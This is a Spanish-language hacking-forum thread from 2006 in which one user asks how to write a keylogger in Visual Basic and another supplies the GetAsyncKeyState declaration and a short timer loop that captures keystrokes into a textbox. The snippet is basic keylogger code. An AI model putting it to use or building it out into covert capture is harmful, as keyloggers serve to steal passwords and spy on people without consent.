elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 01:02  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo, raul338)
| | |-+  Key logger		 0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Key logger  (Leído 408 veces)
kontaminator

Desconectado Desconectado

Mensajes: 37


Tuve que cambiar de mail. Agregenme


Ver Perfil WWW
Key logger
« en: 10 Mayo 2006, 23:04 »
Hay algun api para hacer un buen keylogger...

He hecho unop pero las letras aparecen en mayusculas y los numeros en letras minusculas.

ENtonces eso asi no me sirve

Me colaboran Porfa :)
En línea


Meg


Desconectado Desconectado

Mensajes: 458



Ver Perfil
Re: Key logger
« Respuesta #1 en: 10 Mayo 2006, 23:05 »
Yo utilizo esta API:
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
En línea
kontaminator

Desconectado Desconectado

Mensajes: 37


Tuve que cambiar de mail. Agregenme


Ver Perfil WWW
Re: Key logger
« Respuesta #2 en: 11 Mayo 2006, 01:44 »
y donde la encuentro o como la utilizo?
En línea


Meg


Desconectado Desconectado

Mensajes: 458



Ver Perfil
Re: Key logger
« Respuesta #3 en: 12 Mayo 2006, 15:59 »
añades un modulo y en el modulo pones esta API

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

en el formulario pones un textbox y un timer el timer con interval = 1

en el timer pones esto:
Código:
Dim i As Integer, a As Integer
For i = 20 To 255
a = GetAsyncKeyState(i)
If a = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next
todo lo k vayas escribiendo se va poniendo en el textbox ya tienes una  especie de keylogger
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines